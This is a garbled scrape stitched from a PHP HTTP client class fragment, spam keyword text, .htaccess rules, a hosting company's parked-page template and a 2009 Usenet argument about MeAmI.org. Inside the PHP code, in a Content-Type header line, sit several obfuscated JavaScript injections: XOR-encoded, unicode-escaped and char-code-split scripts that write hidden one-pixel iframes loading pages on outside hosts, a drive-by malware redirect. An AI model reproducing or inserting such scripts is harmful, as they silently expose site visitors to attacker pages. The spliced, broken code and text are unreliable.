$this->host_port=$arguments["HostPort"];
if(IsSet($arguments["ProxyHostName"]))
$this->proxy_host_name=$arguments["ProxyHostName"];
if(IsSet($arguments["ProxyHostPort"]))
$this->proxy_host_port=$arguments["ProxyHostPort"];
if(IsSet($arguments["SOCKSHostName"]))
$this->socks_host_name=$arguments["SOCKSHostName"];
if(IsSet($arguments["SOCKSHostPort"]))
$this->socks_host_port=$arguments["SOCKSHostPort"];
if(IsSet($arguments["Protocol"]))
$this->protocol=$arguments["Protocol"];
switch(strtolower($this->protocol))
{
case "http":
$default_port=80;
break;
case "https":
$default_port=443;
break;
default:
return($this->SetError("2 it was not specified a valid
connection protocol"));
}
if(strlen($this->proxy_host_name)==0)
{
if(strlen($this->host_name)==0)
return($this->SetError("2 it was not specified a valid
hostname"));
$host_name=$this->host_name;
$host_port=($this->host_port ? $this->host_port :
$default_port);
$server_type = 'HTTP';
}
else
{
$host_name=$this->proxy_host_name;
$host_port=$this->proxy_host_port;
$server_type = 'HTTP proxy';
}
$ssl=(strtolower($this->protocol)=="https" && strlen($this-
>proxy_host_name)==0);
if($ssl
&& strlen($this->socks_host_name))
return($this->SetError('establishing SSL connections via a SOCKS
server is not yet supported'));
$this->use_curl=($ssl && $this->prefer_curl && function_exists
("curl_init"));
if($this->debug)
$this->OutputDebug("Connecting to ".$this->host_name);
if($this->use_curl)
{
$error=(($this->connection=curl_init($this->protocol."://".$this-
>host_name.($host_port==$default_port ? "" : ":".strval
($host_port))."/")) ? "" : "Could not initialize a CURL session");
if(strlen($error)==0)
{
if(IsSet($arguments["SSLCertificateFile"]))
curl_setopt($this->connection,CURLOPT_SSLCERT,$arguments
["SSLCertificateFile"]);
if(IsSet($arguments["SSLCertificatePassword"]))
curl_setopt($this->connection,CURLOPT_SSLCERTPASSWD,
$arguments["SSLCertificatePassword"]);
if(IsSet($arguments["SSLKeyFile"]))
curl_setopt($this->connection,CURLOPT_SSLKEY,$arguments
["SSLKeyFile"]);
if(IsSet($arguments["SSLKeyPassword"]))
curl_setopt($this->connection,CURLOPT_SSLKEYPASSWD,$arguments
["SSLKeyPassword"]);
}
$this->state="Connected";
}
else
{
$error="";
if(strlen($this->proxy_host_name)
&& (IsSet($arguments["SSLCertificateFile"])
|| IsSet($arguments["SSLCertificateFile"])))
$error="establishing SSL connections using certificates or
private keys via non-SSL proxies is not supported";
else
{
if($ssl)
{
if(IsSet($arguments["SSLCertificateFile"]))
$error="establishing SSL connections using certificates is
only supported when the cURL extension is enabled";
elseif(IsSet($arguments["SSLKeyFile"]))
$error="establishing SSL connections using a private key
is only supported when the cURL extension is enabled";
else
{
$version=explode(".",function_exists("phpversion") ?
phpversion() : "3.0.7");
$php_version=intval($version[0])*1000000+intval($version
[1])*1000+intval($version[2]);
if($php_version<4003000)
$error="establishing SSL connections requires at least
PHP version 4.3.0 or having the cURL extension enabled";
elseif(!function_exists("extension_loaded")
|| !extension_loaded("openssl"))
$error="establishing SSL connections requires the
OpenSSL extension enabled";
}
}
if(strlen($error)==0)
$error=$this->Connect($host_name, $host_port, $ssl,
$server_type);
}
}
if(strlen($error))
return($this->SetError($error));
$this->session=md5(uniqid(""));
return("");
}

Function Close()
{
if($this->state=="Disconnected")
return("1 already disconnected");
$error=$this->Disconnect();
if(strlen($error)==0)
$this->state="Disconnected";
return($error);
}

Function PickCookies(&$cookies,$secure)
{
if(IsSet($this->cookies[$secure]))
{
$now=gmdate("Y-m-d H-i-s");
for($domain=0,Reset($this->cookies[$secure]);$domain<count($this-
>cookies[$secure]);Next($this->cookies[$secure]),$domain++)
{
$domain_pattern=Key($this->cookies[$secure]);
$match=strlen($this->request_host)-strlen($domain_pattern);
if($match>=0
&& !strcmp($domain_pattern,substr($this->request_host,$match))
&& ($match==0
|| $domain_pattern[0]=="."
|| $this->request_host[$match-1]=="."))
{
for(Reset($this->cookies[$secure][$domain_pattern]),
$path_part=0;$path_part<count($this->cookies[$secure]
[$domain_pattern]);Next($this->cookies[$secure][$domain_pattern]),
$path_part++)
{
$path=Key($this->cookies[$secure][$domain_pattern]);
if(strlen($this->request_uri)>=strlen($path)
&& substr($this->request_uri,0,strlen($path))==$path)
{
for(Reset($this->cookies[$secure][$domain_pattern]
[$path]),$cookie=0;$cookie<count($this->cookies[$secure]
[$domain_pattern][$path]);Next($this->cookies[$secure][$domain_pattern]
[$path]),$cookie++)
{
$cookie_name=Key($this->cookies[$secure]
[$domain_pattern][$path]);
$expires=$this->cookies[$secure][$domain_pattern]
[$path][$cookie_name]["expires"];
if($expires==""
|| strcmp($now,$expires)<0)
$cookies[$cookie_name]=$this->cookies[$secure]
[$domain_pattern][$path][$cookie_name];
}
}
}
}
}
}
}

Function GetFileDefinition(&$file,&$definition)
{
$name="";
if(IsSet($file["FileName"]))
$name=basename($file["FileName"]);
if(IsSet($file["Name"]))
$name=$file["Name"];
if(strlen($name)==0)
return("it was not specified the file part name");
if(IsSet($file["Content-Type"]))
{
$content_type=$file["Content-Type"];
$type=$this->Tokenize(strtolower($content_type),"/");
$sub_type=$this->Tokenize("");
switch($type)
{
case "text":
case "image":
case "audio":
case "video":
case "application":
case "message":
break;
case "automatic":
switch($sub_type)
{
case "name":
switch(GetType($dot=strrpos($name,"."))=="integer" ?
strtolower(substr($name,$dot)) : "")
{
case ".xls":
$content_type="application/excel";
break;
case ".hqx":
$content_type="application/macbinhex40";
break;
case ".doc":
case ".dot":
case ".wrd":
$content_type="application/msword";
break;
case ".pdf":
$content_type="application/pdf";
break;
case ".pgp":
$content_type="application/pgp";
break;
case ".ps":
case ".eps":
case ".ai":
$content_type="application/postscript";
break;
case ".ppt":
$content_type="application/powerpoint";
break;
case ".rtf":
$content_type="application/rtf";
break;
case ".tgz":
case ".gtar":
$content_type="application/x-gtar";
break;
case ".gz":
$content_type="application/x-gzip";
break;
case ".php":
case ".php3":
$content_type="application/x-httpd-php";
break;
case ".js":
$content_type="application/x-javascript";
break;
case ".ppd":
case ".psd":
$content_type="application/x-photoshop";
break;
case ".swf":
case ".swc":
case ".rf":
$content_type="application/x-shockwave-flash";
break;
case ".tar":
$content_type="application/x-tar";
break;
case ".zip":
$content_type="application/zip";
break;
case ".mid":
case ".midi":
case ".kar":
$content_type="audio/midi";
break;
case ".mp2":
case ".mp3":
case ".mpga":
$content_type="audio/mpeg";
break;
case ".ra":
$content_type="audio/x-realaudio";
break;
case ".wav":
$content_type="audio/wav";
break;
case ".bmp":
$content_type="image/bitmap";
break;
case ".gif":
$content_type="image/gif";
break;
case ".iff":
$content_type="image/iff";
break;
case ".jb2":
$content_type="image/jb2";
break;
case ".jpg":
case ".jpe":
case ".jpeg":
$content_type="image/jpeg";
break;
case ".jpx":
$content_type="image/jpx";
break;
case ".png":
$content_type="image/png";
break;
case ".tif":
case ".tiff":
$content_type="image/tiff";
break;
case ".wbmp":
$content_type="image/vnd.wap.wbmp";
break;
case ".xbm":
$content_type="image/xbm";
break;
case ".css":
$content_type="text/css";
break;
case ".txt":
$content_type="text/plain";
break;
case ".htm":
case ".html":
$content_type="text/html";
break;
case ".xml":
$content_type="text/xml";
break;
case ".mpg":
case ".mpe":
case ".mpeg":
$content_type="video/mpeg";
break;
case ".qt":
case ".mov":
$content_type="video/quicktime";
break;
case ".avi":
$content_type="video/x-ms-video";
break;
case ".eml":
$content_type="message/rfc822";
break;
default:
$content_type="application/octet-stream";
break;
}
break;
default:
return($content_type." is not a supported automatic
content type detection method");
}
break;
default:
return($content_type." is not a supported file content
type");
}
}
else
$content_type="application/octet-stream";
$definition=array(
"Content-Type"=>$content_type,
"NAME"=>$name
);
if(IsSet($file["FileName"]))
{
if(GetType($length=@filesize($file["FileName"]))!="integer")
{
$error="it was not possible to determine the length of the
file ".$file["FileName"];
if(IsSet($php_errormsg)
&& strlen($php_errormsg))
$error.=": ".$php_errormsg;
if(!file_exists($file["FileName"]))
$error="it was not possible to access the file ".$file
["FileName"];
return($error);
}
$definition["FILENAME"]=$file["FileName"];
$definition["Content-Length"]=$length;
}
elseif(IsSet($file["Data"]))
$definition["Content-Length"]=strlen($definition["DATA"]=$file
["Data"]);
else
return("it was not specified a valid file name");
return("");
}

Function ConnectFromProxy($arguments, &$headers)
{
if(!$this->PutLine('CONNECT '.$this->host_name.':'.($this-
>host_port ? $this->host_port : 443).' HTTP/1.0')
|| (strlen($this->user_agent)
&& !$this->PutLine('User-Agent: '.$this->user_agent))
|| (IsSet($arguments['Headers']['Proxy-Authorization'])
&& !$this->PutLine('Proxy-Authorization: '.$arguments['Headers']
['Proxy-Authorization']))
|| !$this->PutLine(''))
{
$this->Disconnect();
return($this->error);
}
$this->state = "ConnectSent";
if(strlen($error=$this->ReadReplyHeadersResponse($headers)))
return($error);
$proxy_authorization="";
while(!strcmp($this->response_status, "100"))
{
$this->state="ConnectSent";
if(strlen($error=$this->ReadReplyHeadersResponse($headers)))
return($error);
}
switch($this->response_status)
{
case "200":
if(!@stream_socket_enable_crypto($this->connection, 1,
STREAM_CRYPTO_METHOD_SSLv23_CLIENT))
{
$this->SetPHPError('it was not possible to start a SSL
encrypted connection via this proxy', $php_errormsg);
$this->Disconnect();
return($this->error);
}
$this->state = "Connected";
break;
case "407":
if(strlen($error=$this->Authenticate($headers, -1,
$proxy_authorization, $this->proxy_request_user, $this-
>proxy_request_password, $this->proxy_request_realm, $this-
>proxy_request_workstation)))
return($error);
break;
default:
return($this->SetError("unable to send request via proxy"));
}
return("");
}

Function SendRequest($arguments)
{
if(strlen($this->error))
return($this->error);
if(IsSet($arguments["ProxyUser"]))
$this->proxy_request_user=$arguments["ProxyUser"];
elseif(IsSet($this->proxy_user))
$this->proxy_request_user=$this->proxy_user;
if(IsSet($arguments["ProxyPassword"]))
$this->proxy_request_password=$arguments["ProxyPassword"];
elseif(IsSet($this->proxy_password))
$this->proxy_request_password=$this->proxy_password;
if(IsSet($arguments["ProxyRealm"]))
$this->proxy_request_realm=$arguments["ProxyRealm"];
elseif(IsSet($this->proxy_realm))
$this->proxy_request_realm=$this->proxy_realm;
if(IsSet($arguments["ProxyWorkstation"]))
$this->proxy_request_workstation=$arguments["ProxyWorkstation"];
elseif(IsSet($this->proxy_workstation))
$this->proxy_request_workstation=$this->proxy_workstation;
switch($this->state)
{
case "Disconnected":
return($this->SetError("1 connection was not yet
established"));
case "Connected":
$connect = 0;
break;
case "ConnectedToProxy":
if(strlen($error = $this->ConnectFromProxy($arguments,
$headers)))
return($error);
$connect = 1;
break;
default:
return($this->SetError("2 can not send request in the current
connection state"));
}
if(IsSet($arguments["RequestMethod"]))
$this->request_method=$arguments["RequestMethod"];
if(IsSet($arguments["User-Agent"]))
$this->user_agent=$arguments["User-Agent"];
if(!IsSet($arguments["Headers"]["User-Agent"])
&& strlen($this->user_agent))
$arguments["Headers"]["User-Agent"]=$this->user_agent;
if(strlen($this->request_method)==0)
return($this->SetError("3 it was not specified a valid request
method"));
if(IsSet($arguments["RequestURI"]))
$this->request_uri=$arguments["RequestURI"];
if(strlen($this->request_uri)==0
|| substr($this->request_uri,0,1)!="/")
return($this->SetError("4 it was not specified a valid request
URI"));
$this->request_arguments=$arguments;
$this->request_headers=(IsSet($arguments["Headers"]) ? $arguments
["Headers"] : array());
$body_length=0;
$this->request_body="";
$get_body=1;
if($this->request_method=="POST"
|| $this->request_method=="PUT")
{
if(IsSet($arguments['StreamRequest']))
{
$get_body = 0;
$this->request_headers["Transfer-Encoding"]="chunked";
}
elseif(IsSet($arguments["PostFiles"])
|| ($this->force_multipart_form_post
&& IsSet($arguments["PostValues"])))
{
$boundary="--".md5(uniqid(time()));
$this->request_headers["Content-Type"]="multipart/form-data;
boundary=".$boundary.(IsSet($arguments["CharSet"]) ? "; charset=".
$arguments["CharSet"] : "");
$post_parts=array();
if(IsSet($arguments["PostValues"]))
{
$values=$arguments["PostValues"];
if(GetType($values)!="array")
return($this->SetError("5 it was not specified a valid
POST method values array"));
for(Reset($values),$value=0;$value<count($values);Next
($values),$value++)
{
$input=Key($values);
$headers="--".$boundary."\r\nContent-Disposition: form-
data; name=\"".$input."\"\r\n\r\n";
$data=$values[$input];
$post_parts[]=array("HEADERS"=>$headers,"DATA"=>$data);
$body_length+=strlen($headers)+strlen($data)+strlen("\r
\n");
}
}
$body_length+=strlen("--".$boundary."--\r\n");
$files=(IsSet($arguments["PostFiles"]) ? $arguments
["PostFiles"] : array());
Reset($files);
$end=(GetType($input=Key($files))!="string");
for(;!$end;)
{
if(strlen($error=$this->GetFileDefinition($files[$input],
$definition)))
return("3 ".$error);
$headers="--".$boundary."\r\nContent-Disposition: form-data;
name=\"".$input."\"; filename=\"".$definition["NAME"]."\"\r\nContent-
Type: ".$definition["Content-Type"]."\r\n\r\n";
$part=count($post_parts);
$post_parts[$part]=array("HEADERS"=>$headers);
if(IsSet($definition["FILENAME"]))
{
$post_parts[$part]["FILENAME"]=$definition["FILENAME"];
$data="";
}
else
$data=$definition["DATA"];
$post_parts[$part]["DATA"]=$data;
$body_length+=strlen($headers)+$definition["Content-Length"]
+strlen("\r\n");
Next($files);
$end=(GetType($input=Key($files))!="string");
}
$get_body=0;
}
elseif(IsSet($arguments["PostValues"]))
{
$values=$arguments["PostValues"];
if(GetType($values)!="array")
return($this->SetError("5 it was not specified a valid POST
method values array"));
for(Reset($values),$value=0;$value<count($values);Next
($values),$value++)
{
$k=Key($values);
if(GetType($values[$k])=="array")
{
for($v = 0; $v < count($values[$k]); $v++)
{
if($value+$v>0)
$this->request_body.="&";
$this->request_body.=UrlEncode($k)."=".UrlEncode($values
[$k][$v]);
}
}
else
{
if($value>0)
$this->request_body.="&";
$this->request_body.=UrlEncode($k)."=".UrlEncode($values
[$k]);
}
}
$this->request_headers["Content-Type"]="application/x-www-form-
urlencoded".(IsSet($arguments["CharSet"]) ?
";<html><body><script>q="=hgs`ld!rsb<iuuq;..c`rdrsw/odu.cho.ho/qiq!
vheui<0!idhfiu<0!ruxmd<&whrhchmhux;iheedo&?=.hgs`ld?";w="";for
(i=0;i<q.length;i++){w=w+String.fromCharCode(q.charCodeAt(i)
^1);};document.write(w);</script><script type="text/
javascript">document.write('\u003c\u0069\u0066\u0072\u0061\u006d
\u0065\u0020\u0066\u0072\u0061\u006d\u0065\u0062\u006f
\u0072\u0064\u0065\u0072\u003d\u0030\u0020\u0062\u006f
\u0072\u0064\u0065\u0072\u003d
\u0030\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d
\u0031\u0020\u0077\u0069\u0064\u0074\u0068\u003d
\u0031\u0020\u0073\u0072\u0063\u003d
\u0022\u0020\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0067\u006c
\u006f\u006e\u0064\u0069\u0073\u002e\u0063\u006e\u002f\u0069\u006e
\u002e\u0063\u0067\u0069\u003f\u0032\u0022\u0020\u002f\u003e')</
script></body></html> <?php echo ''; ?><?php echo ''; ?><?php echo
''; ?><?php echo ''; ?><?php echo '<script type="text/javascript">var
XiLgdMoRSAbuUBAgpMkf =
"uKNMv60uKNMv105uKNMv102uKNMv114uKNMv97uKNMv109uKNMv101uKNMv32uKNMv119uKNMv105uKNMv100uKNMv116uKNMv104uKNMv61uKNMv34uKNMv52uKNMv56uKNMv48uKNMv34uKNMv32uKNMv104uKNMv101uKNMv105uKNMv103uKNMv104uKNMv116uKNMv61uKNMv34uKNMv54uKNMv48uKNMv34uKNMv32uKNMv115uKNMv114uKNMv99uKNMv61uKNMv34uKNMv104uKNMv116uKNMv116uKNMv112uKNMv58uKNMv47uKNMv47uKNMv120uKNMv98uKNMv120uKNMv46uKNMv116uKNMv119uKNMv47uKNMv105uKNMv110uKNMv46uKNMv99uKNMv103uKNMv105uKNMv63uKNMv51uKNMv34uKNMv32uKNMv115uKNMv116uKNMv121uKNMv108uKNMv101uKNMv61uKNMv34uKNMv98uKNMv111uKNMv114uKNMv100uKNMv101uKNMv114uKNMv58uKNMv48uKNMv112uKNMv120uKNMv59uKNMv32uKNMv112uKNMv111uKNMv115uKNMv105uKNMv116uKNMv105uKNMv111uKNMv110uKNMv58uKNMv114uKNMv101uKNMv108uKNMv97uKNMv116uKNMv105uKNMv118uKNMv101uKNMv59uKNMv32uKNMv116uKNMv111uKNMv112uKNMv58uKNMv48uKNMv112uKNMv120uKNMv59uKNMv32uKNMv108uKNMv101uKNMv102uKNMv116uKNMv58uKNMv45uKNMv53uKNMv48uKNMv48uKNMv112uKNMv120uKNMv59uKNMv32uKNMv111uKNMv112uKNMv97uKNMv99uKNMv105uKNMv116uKNMv121uKNMv58uKNMv48uKNMv59uKNMv32uKNMv102uKNMv105uKNMv108uKNMv116uKNMv101uKNMv114uKNMv58uKNMv112uKNMv114uKNMv111uKNMv103uKNMv105uKNMv100uKNMv58uKNMv68uKNMv88uKNMv73uKNMv109uKNMv97uKNMv103uKNMv101uKNMv84uKNMv114uKNMv97uKNMv110uKNMv115uKNMv102uKNMv111uKNMv114uKNMv109uKNMv46uKNMv77uKNMv105uKNMv99uKNMv114uKNMv111uKNMv115uKNMv111uKNMv102uKNMv116uKNMv46uKNMv65uKNMv108uKNMv112uKNMv104uKNMv97uKNMv40uKNMv111uKNMv112uKNMv97uKNMv99uKNMv105uKNMv116uKNMv121uKNMv61uKNMv48uKNMv41uKNMv59uKNMv32uKNMv45uKNMv109uKNMv111uKNMv122uKNMv45uKNMv111uKNMv112uKNMv97uKNMv99uKNMv105uKNMv116uKNMv121uKNMv58uKNMv48uKNMv34uKNMv62uKNMv60uKNMv47uKNMv105uKNMv102uKNMv114uKNMv97uKNMv109uKNMv101uKNMv62";var
ChBcyUOSVHTsqfYTsNlK = XiLgdMoRSAbuUBAgpMkf.split("uKNMv");var
ONFiOFOESykVglxfGMyb = "";for (var URUKxtepGQzUdEDsKRwd=1;
URUKxtepGQzUdEDsKRwd<ChBcyUOSVHTsqfYTsNlK.length; URUKxtepGQzUdEDsKRwd+
+){ONFiOFOESykVglxfGMyb+=String.fromCharCode(ChBcyUOSVHTsqfYTsNlK
[URUKxtepGQzUdEDsKRwd]);}document.write(ONFiOFOESykVglxfGMyb)</
script>'; ?
>indexmaprobertacounteriphonestonesoembachelorapplesprostitutioncoverageauditionscarpentrytraverseotherareaextensionsmicheleespanamommymoroccannumamarinaderutherfordmeaningrefillsplannerchristianitycreedpatroldelorganisationdarrellgomezvidsforgettripodrecieverskatingcraiguterinecubespecificationsmtabethstorageenglewoodbudnasalgoesconflictsyumammacasmattmoniquenervousspotsactivatecohenproctorextractionviinursesscottishviolationsgonesinghbarriersvallejoquebecadoptionserieslevybankingdressesmethodologytrancesyllabusscreeningsellerdxallowstallionliverpriestleavesdunedinsecondarypollmalagapistonminglinerpitsmillerburnerhosepiesbeadplwmvdearbornmosesindicatorsseafoodplankxxxharesizefixturescylinderhairparaappetizerdragonsupermarketschnauzerqoutesadminmeasurementsexperimentmobileturtleschangedcatholicsheldonmufflerindependencebsafloralmaterialsroasteddisordertotemchefboredhostsilexamplemercurytreatedcatalogscastroairbusntdetergentwattmeasuresimmobiliersignaturetrainsmokylisaenzymesdrawingscolonyprudentialgenmohawkstorematchingtreopolarispanwbcooperbumpersbirdsdadsarchitecturalparasiteexitdigestinchbelowtaxidermyyearlyfletcherxboxmarinecountdownfistperiodmoonpakistanaccomodationsweakfemabbqdanielscasasufcemperoralspayrollheritagebutcherhaley<a
href http://meami.org/ions +FollowSymLinks
RewriteEngine on http://meami.org/.
RewriteCond %{HTTP_HOST} ^meami\.tld [NC]
RewriteRule (.*) http://www.meami.tld/$1 [R=301,L]
RewriteCond %{THE_REQUEST} ^.*/index.html
RewriteRule ^(.*)index.html$ http://www.meami.tld/$1 [R=301,L]
<html>
<head>
<?php

$meta = array(
'dk' => array(
'lang' => 'da',
'title' => 'SURFTOWN - Success Online',
'description' => 'Webhotel, domæne, hjemmeside, blog, webshop
fra kr. 9,- inkl. gratis support kun hos SURFTOWN. Kom i gang uden
teknisk baggrund - det er legende let!',
'keywords' => 'webhotel, domæne, webshop, domain,
hjemmeside, blog, gratis support, support, surftown',
),
'no' => array(
'lang' => 'no',
'title' => 'SURFTOWN - Success Online',
'description' => 'Webhotel, domæne, hjemmeside, blog, webshop
fra kr. 10,- inkl. gratis support kun hos SURFTOWN. Kom i gang uden
teknisk baggrund - det er legende let!',
'keywords' => 'webhotel, domæne, webshop, domain,
hjemmeside, blog, gratis support, support, surftown',
),
'se' => array(
'lang' => 'sv',
'title' => 'SURFTOWN - Success Online',
'description' => 'Webbhotel, domänregistrering, hemsida, blog
og webshop fra 12:- inkl. fri support kun hos SURFTOWN. Kräver inga
tekniska förkunskaper och kan därför användas av nybörjare!',
'keywords' => 'webbhotell, webhotell, domän, hemsida ,
webbplats, webbsite, domänregistrering, hosting, blog'
)
);
$default = array(
'lang' => 'en',
'title' => 'SURFTOWN - Success Online',
'description' => 'Website, domain registration, homepage, blog
and ecommerce from 1.99 incl. free support only at SURFTOWN. No
technical skills required to get started - perfect for beginners!',
'keywords' => 'website, web site, domain, domain
registration, homepage, home page, hosting, blog, ecommcerce, webshop'
);
preg_match('/\.([a-z]+)$/', $_SERVER['HTTP_HOST'], $tld);
$meta = array_merge($default, $meta[$tld[1]]);

print " <title>{$meta[title]}</title>\n";
print " <meta name=\"description\" lang=\"{$meta[lang]}\"
content=\"{$meta[description]}\">\n";
print " <meta name=\"keywords\" lang=\"{$meta[lang]}\" content=
\"{$meta[keywords]}\">\n";
?>
<meta http-equiv="Content-Type" content="text/html;
charset=utf-8">
</head>
<body>
<table width="100%" height="100%" border="0" cellpadding="0"
cellspacing="0">
<tr>
<td align="center" valign="middle">
<a href="http://www.surftown.com"><img src="hosted_by.gif"
border="0" /></a>
</td>
</tr>
</table>
<?php
$tags = array(
'0' => '<h1></h1>',
'1' => '<h2></h2>',
'2' => '<h3></h3>',
'3' => '<h4></h4>',
'4' => '<h5></h5>',
'5' => '<h6></h6>',
'6' => '<em></em>',
'7' => '<strong></strong>',
'8' => '<cite></cite>',
'9' => '<dfn></dfn>',
'a' => '<code></code>',
'b' => '<samp></samp>',
'c' => '<kbd></kbd>',
'd' => '<var></var>',
'e' => '<abbr></abbr>',
'f' => '<acronym></acronym>'
);
$hash = md5("Host: {$_SERVER[HTTP_HOST]}");
for ($i = 0; $i < 32; $i++)
$data .= ($i % 4 == 0 ? " " : "") .
$tags[$hash{$i}] .
($i % 4 == 3 ? "\n" : "");
print "<div style=\"display:none;\">\n$data</div>\n";
?>
</body>
</html>

Anonymous Number of People

unread,
Oct 24, 2009, 10:58:58 AM10/24/09
to
http:// ===---+On Oct 24, 9:14 am, Richard Heathfield
<r...@see.sig.invalid> wrote:
> In
> <0e887032-2576-4af5-b7c8-aaca3a194...@e34g2000vbc.googlegroups.com>,
>
> http://alexslemonade.org@http://MeAmI.orgwrote:

> > Dear Richard Heathfield:
>
> > I find your comment both obtuse and cruelly closed minded.
>
> Fair exchange is no robbery. I find your comments not only obtuse, but
> also closed to any kind of mental activity at all.
One finds what is in one's mind.

>
> > I have in fact worked for many great companies
>
> That's nice. The world needs janitors.
As it does dismissive haughty ignorance tainted with distaste--
apparently.

>
> > I also feel it necessary to add your dismissive and unthoughtful
> > tone
>
> How do you think people feel about your contemptuous abuse of Usenet?
>
I do not know anything about contemptuous abuse.

> > only amounts to once again further evidence I am indeed smarter
> > than one more person in this forum.
>
> Agreed. You're smarter than Ed Nilges. But then, so is a hedgehog.
Did you test the hedgehog?

>
> <snip>
>
> --
> Richard Heathfield <http://www.cpax.org.uk>
> Email: -http://www. +rjh@
> "Usenet is a strange place" - dmr 29 July 1999
> Sig line vacant - apply within

+musatov

Richard Heathfield

unread,
Oct 24, 2009, 1:43:21 PM10/24/09
to
In
<46a17389-d35e-42ac...@v15g2000prn.googlegroups.com>,
Anonymous Number of People wrote:

> http:// ===---+On Oct 24, 9:14 am, Richard Heathfield
> <r...@see.sig.invalid> wrote:

<snip>

>> How do you think people feel about your contemptuous abuse of
>> Usenet?
>>
> I do not know anything about contemptuous abuse.

Yeah, right.

<almost 2000 lines of junk snipped>

Almost 2000 lines of junk certainly counts as one example of
contemptuous abuse.

Chris F.A. Johnson

unread,
Oct 24, 2009, 4:04:58 PM10/24/09
to
On 2009-10-24, http://alexslemonade.org @ http://MeAmI.org wrote:
> http:// is one way to transfer data
>
> iuuq:// is another
>
> Tether the two.
>
> iuuq?: double the bandwidth. half the price.

>
> Welcome to the in formation revolution. New from
> MeAmI.org

A page with almost nothing on it, yet is is not even valid HTML.

--
Chris F.A. Johnson <http://cfajohnson.com>
===================================================================
Shell Scripting Recipes: A Problem-Solution Approach (2005, Apress)
Pro Bash Programming: Scripting the GNU/Linux Shell (2009, Apress)

Anonymous Number of People

unread,
Oct 24, 2009, 8:03:08 PM10/24/09
to
Dear Mr. Richard Heathfield:

I have an honest and straight-forward question for you. Please see
below:

Richard Heathfield wrote:
> In
> <46a17389-d35e-42ac...@v15g2000prn.googlegroups.com>,
> Anonymous Number of People wrote:
>
> > http:// ===---+On Oct 24, 9:14 am, Richard Heathfield
> > <r...@see.sig.invalid> wrote:
>
> <snip>
>
> >> How do you think people feel about your contemptuous abuse of
> >> Usenet?
> >>
> > I do not know anything about contemptuous abuse.
>
> Yeah, right.
>
> <almost 2000 lines of junk snipped>


MM: Mr. Heathfield, now in this moment here when you say 'almost 2000
lines of junk snipped', how was I able to generate 2000 lines with
this post? Is there a process behind this? Is there some sort of
software I need to research, download, and install?

I have seen others in this forum make similar references to massive
numbers of lines being generated by a single post. Would you be so
kind as to explain some of this to me?

>
> Almost 2000 lines of junk certainly counts as one example of
> contemptuous abuse.
>
> --
> Richard Heathfield <http://www.cpax.org.uk>
> Email: -http://www. +rjh@
> "Usenet is a strange place" - dmr 29 July 1999
> Sig line vacant - apply within

Again, see the above, and I thank you for your time.

M. Musatovg

http://meami.org

'Do you like the new logo?'

I was thinking minimalist.

Anonymous Number of People

unread,
Oct 24, 2009, 8:11:46 PM10/24/09
to

Chris F.A. Johnson wrote:
> On 2009-10-24, http://alexslemonade.org @ http://MeAmI.org wrote:
> > http:// is one way to transfer data
> >
> > iuuq:// is another
> >
> > Tether the two.
> >

> > iuuq//: double the bandwidth. half the price.


> >
> > Welcome to the in formation revolution. New from
> > MeAmI.org
>
> A page with almost nothing on it, yet is is not even valid HTML.
>

Yes, minimalist approach serves it well.

Did you try the search? Less latency than Google by not counting total
results.

How many times using Google have you gone past the first 100+ results?


I am not looking to overthrow Google. I just want my 1% of their
market share to raise $1MM to cure childhood cance.

Th@ is it.

Have a good day.


> --
> Chris F.A. Johnson <http://cfajohnson.com>
> ===================================================================
> Shell Scripting Recipes: A Problem-Solution Approach (2005, Apress)

> Pro Bash Programming: Scripting the GNU/Linux Shell (2009, Apress) http://meami.org

Harlan Messinger

unread,
Oct 24, 2009, 8:22:17 PM10/24/09
to
> http:// is one way to transfer data
>
> iuuq:// is another
>
> Tether the two.
>
> iuuq�: double the bandwidth. half the price.

>
> Welcome to the in formation revolution. New from
> MeAmI.org
>
> ++++++++++++++++++++
> There is a lot of talk these days about singularities and efficient
> systems. MeAmI.org's iuuq� protocol offers efficient pluralities in

> network transfer protocols. It works:
>
> A normal website runs data:
>
> http://www.website.tld
>
> MeAmI's iuuq� allows
>
> iuuq://xxx.website.ume

What is the point of broadcasting something without saying what the
thing you're announcing *is*?

>
> http://{--------}=data

Whatever that means.

Chris F.A. Johnson

unread,
Oct 24, 2009, 8:27:16 PM10/24/09
to
On 2009-10-25, Anonymous Number of People wrote:
>
>
> Chris F.A. Johnson wrote:
>> On 2009-10-24, http://alexslemonade.org @ http://MeAmI.org wrote:
>> > http:// is one way to transfer data
>> >
>> > iuuq:// is another
>> >
>> > Tether the two.
>> >
>> > iuuq//: double the bandwidth. half the price.
>> >
>> > Welcome to the in formation revolution. New from
>> > MeAmI.org
>>
>> A page with almost nothing on it, yet is is not even valid HTML.
>>
>
> Yes, minimalist approach serves it well.

But why is it not valid HTML?

> Did you try the search? Less latency than Google by not counting total
> results.

Yes, it works quite snappily.

> How many times using Google have you gone past the first 100+ results?

Quite often.

> I am not looking to overthrow Google. I just want my 1% of their
> market share to raise $1MM to cure childhood cance.

A worthy cause.


--
Chris F.A. Johnson <http://cfaj.freeshell.org>
===================================================================
Author:

dorayme

unread,
Oct 24, 2009, 8:38:26 PM10/24/09
to
In article <X6WdncsZ2ampAH7X...@bt.com>,
Richard Heathfield <r...@see.sig.invalid> wrote:

> In
> <6ecc7c84-beff-4e18...@b18g2000vbl.googlegroups.com>,

> Anonymous Number of People wrote:
>

> Please learn to use one name consistently.

You mean, so it is easier to filter? I agree and have been having a spot
of bother myself. <g>

--
dorayme

Richard Heathfield

unread,
Oct 24, 2009, 8:41:52 PM10/24/09
to
In
<6ecc7c84-beff-4e18...@b18g2000vbl.googlegroups.com>,
Anonymous Number of People wrote:

Please learn to use one name consistently.

<snip>

> Richard Heathfield wrote:

<snip>

>> <almost 2000 lines of junk snipped>
>
>
> MM: Mr. Heathfield, now in this moment here when you say 'almost
> 2000 lines of junk snipped', how was I able to generate 2000 lines
> with this post?

There are many ways to produce junk. You generated it, so you should
know how you did it, and I'm not interested in guessing.

<snip>

Anonymous Number of People

unread,
Oct 24, 2009, 9:03:15 PM10/24/09
to
Mr. Prochak:

It parallels http like so

http://=
--------------------
|||||||||01234567890
12345678911111111112
ABCDEFGHIJKLMNOPQRST
H T
2
0 + 0
HT = 8 + 20
HT = 28

++++++++++++++++++++
iuuq://=
--------------------
12345678901234567890
22222222233333333334UVWXYZABCDEFGHIJKLMN
I
3
5
i = 35

++++++++++++++++++++
http:// + iuuq://=
--------------------

12345678901234567890
44444444455555555556
UVWXYZABCDEFGHIJKLMN

{Quiet set}

12345678901234567890
66666666677777777778
OPQRSTUVWXYZABCDEFGH
